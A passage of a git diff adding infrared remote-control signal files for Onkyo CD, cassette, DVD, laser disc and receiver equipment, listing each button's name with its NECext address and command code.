D2 2C 00 00 +command: 13 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 18 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 19 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1B 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1C 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_FF_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_FWD_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1E 00 00 00 +# +name: CD_SKIP_REV_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1F 00 00 00 +# +name: CD_EDIT_> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 42 00 00 00 +# +name: CD_EDIT_-> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 42 00 00 00 +# +name: CD_EDIT_< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 43 00 00 00 +# +name: CD_EDIT_<- +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 43 00 00 00 +# +name: CD_INDEX +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 44 00 00 00 +# +name: CD_INTRO +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 45 00 00 00 +# +name: CD_SHUFFLE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 46 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 46 00 00 00 +# +name: CD_AUTO_SPACE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 4C 00 00 00 +# +name: CD_TIME_EDIT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 4D 00 00 00 +# +name: CD_MEMORY_SHIFT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 4E 00 00 00 +# +name: CD_10 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 4F 00 00 00 +# +name: CD_11 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 50 00 00 00 +# +name: CD_12 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 51 00 00 00 +# +name: CD_13 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 52 00 00 00 +# +name: CD_14 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 53 00 00 00 +# +name: CD_15 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 54 00 00 00 +# +name: CD_16 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 55 00 00 00 +# +name: CD_17 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 56 00 00 00 +# +name: CD_18 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 57 00 00 00 +# +name: CD_19 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 58 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5A 00 00 00 +# +name: CD_TRACK +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5B 00 00 00 +# +name: CD_DISC_SKIP_+ +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5C 00 00 00 +# +name: CD_PEAK_SEARCH +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5D 00 00 00 +# +name: CD_DISC_SKIP_- +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir new file mode 100644 index 000000000..503e9f85d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 04 00 00 00 +# +name: DECKA_OPEN/CLOSE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 05 00 00 00 +# +name: DECKA_SRCH_FWD_>> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 06 00 00 00 +# +name: DECKA_SRCH_REV_<< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 07 00 00 00 +# +name: DECKA_REC/MUTE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 0B 00 00 00 +# +name: DECKA_STOP_[] +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 0C 00 00 00 +# +name: DECKA_PLAY_> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 0D 00 00 00 +# +name: DECKA_REVERSE_PLAY_< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 0E 00 00 00 +# +name: DECKA_REC/PAUSE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 10 00 00 00 +# +name: DECKA_FWD_>> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 11 00 00 00 +# +name: DECKA_REW_<< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 12 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 13 00 00 00 +# +name: DECKB_STOP_[] +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 13 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 15 00 00 00 +# +name: DECKB_PLAY_> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 15 00 00 00 +# +name: PLAY_R._< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 16 00 00 00 +# +name: PLAY_REVERSE_< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 16 00 00 00 +# +name: DECKB_REVERSE_PLAY< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 16 00 00 00 +# +name: REC/PAUSE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 18 00 00 00 +# +name: DECKB_REC/PAUSE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 18 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 19 00 00 00 +# +name: DECKB_FWD_>> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 19 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 1A 00 00 00 +# +name: DECKB_REW_<< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 1A 00 00 00 +# +name: REC/MUTE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 1B 00 00 00 +# +name: DECKB_REC/MUTE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 1B 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 1D 00 00 00 +# +name: SEARCH_REV_<< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 1E 00 00 00 +# +name: RANDOM_PLAY +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 48 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 49 00 00 00 +# +name: DECKA_RESET +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 4A 00 00 00 +# +name: DECKA_TAPE_SIZE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 4B 00 00 00 +# +name: DECKB_OPEN/CLOSE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 53 00 00 00 +# +name: SRCH_REV_<< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 54 00 00 00 +# +name: DECKB_SRCH_REV_<< +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 54 00 00 00 +# +name: SRCH_FWD_>> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 55 00 00 00 +# +name: DECKB_SRCH_FWD_>> +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 55 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 5D 00 00 00 +# +name: DECKB_RESET +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 5D 00 00 00 +# +name: ELAPSE_REMAIN +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 5E 00 00 00 +# +name: ELAPSED/REMAIN +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 5E 00 00 00 +# +name: T-SIZE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 5F 00 00 00 +# +name: TAPE_SIZE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 5F 00 00 00 +# +name: DECKB_TAPE_SIZE +type: parsed +protocol: NECext +address: 84 59 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir new file mode 100644 index 000000000..a3a268099 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP_[] +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 13 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 15 00 00 00 +# +name: PLAY_REV_< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 16 00 00 00 +# +name: REC/PAUSE_O/ +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 18 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 19 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 1A 00 00 00 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 1B 00 00 00 +# +name: MUSIC_SEARCH_>> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 1D 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir new file mode 100644 index 000000000..c0a5e712f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 04 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 05 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 06 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 07 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 08 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 09 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 11 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 13 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 15 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 16 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 17 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 18 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1C 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: PAUSE/STEP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1F 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 44 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 45 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 46 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 48 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4B 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4D 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4E 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 54 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 55 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 56 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir new file mode 100644 index 000000000..92c0cb033 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: LAST_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir new file mode 100644 index 000000000..b6da68490 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: AUDIO_DIGITAL/ANALOG +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: CX +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0E 00 00 00 +# +name: SRCH_FWD_>>_(FF) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: SRCH_REV_<<_(FR) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: CHPT/FT_TRACK/TIME +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: STOP/OPEN +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: PLAY_>_(PGM_CORRECT) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 42 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: MULTI_SPEED_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: MULTI_SPEED_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: DISC_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: DISC_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: STILL_STEP_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: SKIP_FWD>>_(UP) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: SKIP_REV<<_(DOWN) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: STILL_STEP_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: MULTI_SPEED_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: MULTI_SPEED_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir new file mode 100644 index 000000000..5d74d922d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: MULTI-CH_INPUT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: 3/DSP> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: 6/DSP< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: INPUT_SELECTOR_> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1E 00 00 00 +# +name: INPUT_SELECTOR_< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1F 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: SURR_CH_SEL_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: SURR_CH_SEL_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: CH_SEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: CH_SEL/TOP_MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: SURR_CH_SEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: SURR_MODE_< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 45 00 00 00 +# +name: STNBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: 1/STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: 4/SURR +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: 5/A.ST +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 53 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 54 00 00 00 +# +name: +10/DISPLAY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: 9/RE-EQ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: A/AUDIO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir new file mode 100644 index 000000000..93199ce89 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir @@ -0,0 +1,1538 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_STATION_+_(CH) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: PRESETUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: TUNER_STATION_-_(CH) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: PRESETDOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: TUNER_PRESET_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: MASTER_VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: MASTER_VOL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOLDOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: MASTER_VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: MASTER_VOL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: POWER_(MAIN) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: POWER_(RCVR) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: AUDIO_MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: MUTING_/_REMOTE_SPKR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: AUX-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 06 00 00 00 +# +name: TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: T2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE/DAT_(+10) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: T1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: CD_(12) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0C 00 00 00 +# +name: VCR-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO-2_(9) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: V3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO-3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VCR-1/VDP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO-1_(8) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VDP_(6) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO-3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: AUX-2 +type: parsed +protocol: NECext +address: D2 6D 